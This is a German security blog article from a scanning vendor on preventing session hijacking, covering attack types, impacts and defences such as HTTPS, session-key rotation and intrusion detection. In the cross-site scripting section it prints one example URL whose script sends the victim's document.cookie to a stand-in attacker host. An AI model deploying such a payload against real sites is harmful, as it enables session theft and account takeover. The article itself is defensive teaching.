EN

Wie man Session Hijacking verhindert

In diesem Artikel:

Session Hijacking ist ein weit verbreiteter Angriff, der zu Identitätsdiebstahl, Datenschutzverletzungen und Finanzbetrug führt. Eine aktuelle Studie von Verizon hat ergeben, dass ca. 85 % der Sicherheitsverletzungen auf menschliches Versagen zurückzuführen sind und durch robuste Sicherheitsmaßnahmen vermieden werden könnten

Bei solchen Hijacking-Angriffen lädt ein Hacker bösartigen Code auf eine vom ursprünglichen Benutzer häufig besuchte Website hoch und zwingt dann den Rechner des Opfers, die Sitzungs-Cookie-Daten an den Server des Hackers zu senden. Sobald die Sitzungs-ID eines Benutzers gestohlen wurde, kann sich der Angreifer bei einer beliebigen Anzahl von Webdiensten als vermeintlich rechtmäßiger Benutzer ausgeben.

In diesem Artikel wird erklärt, wie Session Hijacking-Angriffe üblicherweise durchgeführt werden, welches Risiko und welche Auswirkungen solche Angriffe haben und welche bewährten Verfahren zur Vermeidung von Schwachstellen, die solche Angriffe ermöglichen, eingesetzt werden können.

Was ist ein Session Hijacking-Angriff?

Hacker inszenieren einen Session-Hijacking-Angriff, um unbefugten Zugriff auf die Sitzung eines Benutzers zu erlangen und dann die Identität des Opfers anzunehmen und für einen tiefergehenden Angriff zu nutzen. Da verschiedene Dienste einer Anwendung Sitzungen erstellen, die als Referenz für die anfängliche Authentifizierung eines Benutzers dienen, nutzt ein Angriffsvektor solche Dienste aus, um für die Dauer der aktuellen Sitzung mit dem Server verbunden zu bleiben.

Um dies zu erreichen, stehlen Angreifer die Sitzungs-ID eines Benutzers und wenden sie dann auf dessen Browser an, um die Anwendungsserver zur Authentifizierung der Benutzer zu verleiten. 

Image about how to prevent session hijacking

Risiko und Auswirkungen von Hijacking-Angriffen

Session Hijacking ist eine Form des Man-in-the-Middle-Angriffs, der dem Hacker im Erfolgsfall vollen Zugriff auf das Konto und die Browsersitzung eines legitimen Benutzers gewährt. Die Technik ist seit Jahrzehnten bekannt und beschreibt den Vorgang, bei dem die Angreifer ein gültiges Sitzungs-Token von einem aktiven Benutzer stehlen und dann auf dessen Benutzerkonto zugreifen.  

In den meisten Fällen sind Session-Hijacking-Angriffe vermeidbar. Zu den Risiken innerhalb eines Anwendungsstapels, die für einen größeren Anteil solcher Angriffe verantwortlich sind, gehören: 

  • Angreifbare Komponenten – Werden keine angemessenen Sicherheitskontrollen im Quellcode und bei der Integration von Drittanbietern eingerichtet und gepflegt, sind die Anwendungen anfälliger für Phishing-Versuche und Man-in-the-Middle-Angriffe. 
  • Vorhersehbare Sitzungs-Token – Einige Sitzungs-Token von Anwendungen und Attribute in Sitzungs-Cookies enthalten in der Regel sensible Daten, die den Server mit den Anmeldedaten des Benutzers in Verbindung bringen. Hacker verwenden in der Regel automatisierte Tools, um diese Sitzungs-Token zu erraten, und nutzen so solche Schwachstellen als eine der häufigsten Methoden für erfolgreiches Session-Hijacking aus. 
  • Unzureichende Verschlüsselung – Ohne Verschlüsselung des Netzwerkverkehrs über die anfängliche Authentifizierung hinaus nutzen Hacker die TLS-Schicht aus, um Sitzungspakete auszuspähen und Cookies abzufangen, die zwischen Clients und Servern übertragen werden. 
  • Malware – Angreifer zielen auf Webanwendungen mit anfälligen Servern ab, um Malware zu installieren, die auf dem Gerät eines Benutzers ausgeführt wird, um die Sitzung zu entführen. Die Malware kann Session-Sniffing betreiben, das temporäre Session-Cookie abfangen und es an den Hacker senden, um es weiter auszunutzen.

Die Bedrohung durch einen Sitzungsentführungsangriff kann schwerwiegend sein, je nachdem, wie kritisch die Anwendung ist, auf die zugegriffen wird, und wie sensibel die Daten sind, die entwendet werden. Zu den möglichen Auswirkungen eines erfolgreichen Angriffs gehören:

  • Finanzbetrug – Sobald Angreifer Zugriff auf Finanzsysteme erlangt haben, können sie Transaktionen durchführen und sich dabei als rechtmäßige Benutzer ausgeben. So können sie beispielsweise Einkäufe unter Verwendung aktiver Sitzungsdaten tätigen, Geld im Namen des Opfers überweisen oder sogar auf geistiges Eigentum zugreifen.
  • Identitätsdiebstahl – Ein Standard-Angriffsmuster besteht darin, sich Zugang zu den Anmeldedaten eines Kunden zu verschaffen, was es ihnen ermöglicht, illegal auf mehrere Konten zuzugreifen, die Berechtigungen zu erweitern und einen umfassenden Angriff zu starten.
  • Datenmissbrauch – Angreifer nutzen kompromittierte Sitzungen und Logins, um unbefugten Zugriff auf sensible Daten eines anfälligen Servers zu erhalten. Sobald dies geschehen ist, nutzen Angreifer diese Daten, um das Unternehmen oder die Opfer durch Ransomware-Angriffe und die Bedrohung durch die Preisgabe persönlicher Daten auszunutzen.

Ausnutzung von Single-Sign-On-Systemen (SSO) – Bei Systemen, die eine SSO-Authentifizierung verwenden, können Angreifer auch eine aktive Sitzung nutzen, um sich bei anderen Diensten anzumelden, die sich über SSO authentifizieren. Da SSO-Systeme die Verantwortung für die Sitzungssicherheit in der Regel bei den Benutzern belassen, ist es schwieriger, Anwendungen mit weniger vorhersehbaren Cookies und schwachen Authentifizierungsmechanismen zu schützen.

Arten von Session-Hijacking-Angriffen und Beispiele

Es gibt zwar zahlreiche Richtlinien, Tools und bewährte Verfahren zur Sicherung von Anwendungen, aber auch die Bedrohungslandschaft entwickelt sich ständig weiter. Im Laufe des Jahres haben Hacker zahlreiche Methoden entwickelt, um sich Zugriff auf die Sitzung eines autorisierten Benutzers zu verschaffen, einschließlich detaillierter Angriffsmuster, um das Hijacking unbemerkt zu inszenieren.

Einige Arten von Session-Hijacking-Angriffen sind:

Session Fixation-Angriffe

Bei dieser Art von Angriffen nutzen Hacker Schwachstellen in der Sitzungsverwaltung aus, die es Benutzern ermöglichen, sich mit bestehenden Sitzungs-IDs anzumelden. Der Angreifer verschafft sich die gültige Sitzungs-ID und verleitet den Benutzer dann dazu, sich mit dieser ID anzumelden. Sobald die Benutzersitzung aufgebaut ist, entführt der Hacker sie mit der gestohlenen Sitzungs-ID.

In diesem Fall legt der Sitzungsentführer eine aktive Sitzung im Browser des Benutzers fest und stiehlt dann die Sitzung mithilfe bekannter Techniken. Dies kann weiter ausgenutzt werden, indem das Meta-Angriffsmuster verwendet wird, um die Sitzungs-Token innerhalb des URL-Feldes, des Cookies oder des versteckten Formularfeldes zu senden.

Session Side Jacking

Eine der häufigsten Techniken nutzt die fehlende Verschlüsselung zwischen dem Remote-Server und dem Benutzer aus. Der Sitzungsentführer spürt unverschlüsselten Datenverkehr im Netzwerk auf, der Sitzungsschlüssel und -token enthält, fängt die Sitzungs-Token ab und verwendet sie dann in gezielten Diensten, die sich als das Opfer ausgeben.

Site-übergreifende Scripting-Angriffe

Sitzungsentführer zielen in der Regel auf seitenübergreifende Skripting-Schwachstellen ab, wenn sie eine Sitzungsübernahme inszenieren. Dabei schleusen die Hacker clientseitige Skripte ein, die Sitzungs-Token abfangen. Wenn der Zielserver das HttpOnly-Attribut für Sitzungscookies nicht gesetzt hat, können Angreifer bösartigen Javascript-Code erstellen, der die Sitzungs-ID abfängt.

Eine beliebte XSS-Angriffsmethode für das Session-Hijacking besteht darin, Benutzer dazu zu verleiten, auf einen bösartigen Link zu einer bekannten Website zu klicken, die Abfrageparameter enthält, um den Sitzungsschlüssel des Benutzers an den Webserver des Angreifers zu senden. Das URL-Argument für diesen Angriff würde zum Beispiel so aussehen:

<!-- wp:table -->
<figure class="wp-block-table"><table><tbody><tr><td>http://www.darwin.com/search?&lt;script&gt;location.href='http://www.darwinhijacker.com/hijacker.php?cookie='+document.cookie;&lt;/script&gt;</td></tr></tbody></table></figure>
<!-- /wp:table -->

In diesem Fall liest das Argument document.cookie das Sitzungscookie und sendet es dann an die Website des Entführers, wobei es sich auf den Befehl location.href stützt. Dies ist zwar eine gängige Angriffsmethode, doch in der Realität sind die Angriffe weitaus raffinierter und verwenden Techniken wie URL-Verkürzung und Zeichenkodierung, um das schadhafte Skript im Link zu verstecken.

Brute Force

Bei dieser Methode erraten und bestimmen die Hacker die Sitzungs-ID selbst, sobald sie feststellen, dass der Server vorhersehbare IDs verwendet. Einige Unternehmenssysteme erstellen Sitzungs-IDs auf der Grundlage von Uhrzeit, Datum oder der IP-Adresse des Benutzers, so dass sie leicht zu erraten sind. Angreifer verwenden auch wiederholt Sitzungs-IDs aus einer bekannten Liste, was allerdings nur dann erfolgreich ist, wenn die Sitzungsverwaltungsplattform bekannte Schwachstellen aufweist oder wenn die Sitzungs-IDs aus einigen häufig verwendeten Zeichen bestehen.

Wie lassen sich Session-Hijacking-Angriffe verhindern?

Zwar haben Angreifer zahlreiche Tools und Techniken eingesetzt, die das Session Hijacking erleichtern, doch schützen mehrere Sicherheitsmaßnahmen und bewährte Verfahren Anwendungen vor solchen Angriffen. Einige bewährte Verfahren zur Verhinderung von Session-Hijacking-Angriffen sind:

Verwendung von HTTPS

Make sure that web servers and applications, especially SSO systems, require using HTTPS everywhere. In addition, all internet communications should be encrypted to ensure sessions are secured at every stage. Every interaction, including sharing session keys, should be encrypted with TLS/SSL. Security teams should also use robust client-side defenses to protect client browsers and session cookies from XXS attacks.

Stellen Sie sicher, dass Webserver und Anwendungen, insbesondere SSO-Systeme, überall die Verwendung von HTTPS vorschreiben. Darüber hinaus sollte die gesamte Internetkommunikation verschlüsselt werden, um sicherzustellen, dass die Sitzungen in jeder Phase gesichert sind. 

Jede Interaktion, einschließlich der gemeinsamen Nutzung von Sitzungsschlüsseln, sollte mit TLS/SSL verschlüsselt werden. Sicherheitsteams sollten auch robuste clientseitige Abwehrmechanismen einsetzen, um Client-Browser und Sitzungscookies vor XXS-Angriffen zu schützen.

Installieren Sie Web-Frameworks zur Verwaltung von Sitzungscookies

Web-Frameworks vereinfachen die Sitzungsverwaltung, da sie längere und zufällige Sitzungscookies erzeugen können. Leider werden dadurch Sitzungs-Token, Cookies und IDs schwerer vorhersehbar und ausnutzbar, da solche Frameworks auf unscharfen Algorithmen beruhen, um Zufälligkeit zu erreichen.

Sitzungsschlüssel nach der Authentifizierung immer rotieren

Das Ändern des Sitzungsschlüssels nach einer erfolgreichen Anmeldung macht es einem Sitzungsentführer schwer, die Benutzersitzung zu verfolgen, selbst wenn er den ursprünglichen Schlüssel kennt. Selbst wenn ein Angreifer einen Phishing-Link sendet, auf den der Benutzer klickt, können Angreifer in solchen Konstellationen keine Sitzungen mit selbst generierten Schlüsseln entführen.

Einsatz von Intrusion Detection und Intrusion Prevention Systemen

Damit gemeint sind Tools, die Zugriffsmuster mit bekannten Angriffssignaturen vergleichen. Bei bösartigen Anwendungsnutzungsmustern blockieren diese Systeme automatisch die Anfrage und senden Warnmeldungen an Überwachungs- und Sicherheitsteams.

Tools zum Session-Hijacking

Der Einsatz eines Session-Hijacking-Tools zum Testen Ihrer Webanwendung bietet viele Vorteile, da manuelle Tests heutzutage für Unternehmen recht teuer sein können. Einige der Vorteile, die Sie finden können, sind:

  • Automatisierte Erkennung gängiger Session-Hijacking-Angriffsvektoren
  • Automatisierter Schutz gegen XSS-basierte Session-Hijacking-Angriffe
  • Automatisierte Erkennung und Behebung bekannter Sicherheitslücken in Ihrem Anwendungscode
  • Automatisiertes Testen der gängigsten Webanwendungen

Die Crashtest Security Suite ist als kostenlose Testversion erhältlich

Über Crashtest Security:

Crashtest Security is a leading provider of automation software solutions for web developers and IT professionals. This automated tool scans your API/web app for common issues like missing CSRF tokens, weak authentication, SQL injection, cross-site scripting, etc. It then analyzes these issues to determine if they could lead to a session hijacking attack.

Crashtest Security ist ein führender Anbieter von Automatisierungssoftwarelösungen für Webentwickler und IT-Experten. Dieses automatisierte Tool scannt Ihre API/Webanwendung auf häufige Probleme wie fehlende CSRF-Tokens, schwache Authentifizierung, SQL-Injection, Cross-Site-Scripting usw. Anschließend analysiert es diese Probleme, um festzustellen, ob sie zu einem Session-Hijacking-Angriff führen könnten.

FAQs

Warum ist ein Session Hijacking-Angriff für Unternehmen wichtig?

Ein Session-Hijacking-Angriff ist eine der gefährlichsten Arten von Cyberangriffen, da er es Hackern ermöglicht, unbefugten Zugriff auf das Konto oder die Daten eines Benutzers zu erlangen. Diese Art von Angriff kann extrem kostspielig sein, da er zu finanziellen Verlusten, Rufschädigung, rechtlicher Haftung usw. führen kann.

Beste Praktiken Schlussfolgerung

Hier sind einige Möglichkeiten, sich vor Session Hijacking zu schützen:

  • Verwenden Sie starke Authentifizierungsmechanismen.
  • Stellen Sie sicher, dass alle Authentifizierungsarten eine Passwortänderung erfordern, bevor ein Benutzer sich erneut anmelden kann.
  • Stellen Sie sicher, dass nur autorisierte Benutzer Sitzungen erstellen dürfen.
  • Speichern Sie keine sensiblen Daten auf der Client-Seite.
  • Halten Sie Ihre Webanwendungen mit den neuesten Patches auf dem neuesten Stand.
  • Geben Sie niemals persönliche Informationen per E-Mail weiter.
  • Überprüfen Sie beim Einloggen immer die URL-Leiste, um sicherzustellen, dass keine verdächtigen Links vorhanden sind.

Erhalten Sie jetzt kostenlos einen schnellen Sicherheitsbericht für Ihre Website

Wir analysieren derzeit https://example.com
Wir scannen derzeit https://example.com
Status des Scans: In Bearbeitung
Scan target: http://example.com/laskdlaksd/12lklkasldkasada.a
Datum: 16/09/2023
Crashtest Security Suite prüft auf:
Information disclosure Known vulnerabilities SSL misconfiguration Open ports
Scanauftrag ausfüllen
Bitte geben Sie Ihre Daten ein, um die schnelle Sicherheitsüberprüfung zu erhalten.
Ein Sicherheitsspezialist analysiert gerade Ihren Scan-Bericht.
Bitte geben Sie Ihre Telefon-/Handynummer an, damit wir Ihre Identität überprüfen können:
Vielen Dank.
Wir haben Ihren Antrag erhalten.
Sobald Ihr Sicherheitsaudit fertig ist, werden wir Sie benachrichtigen.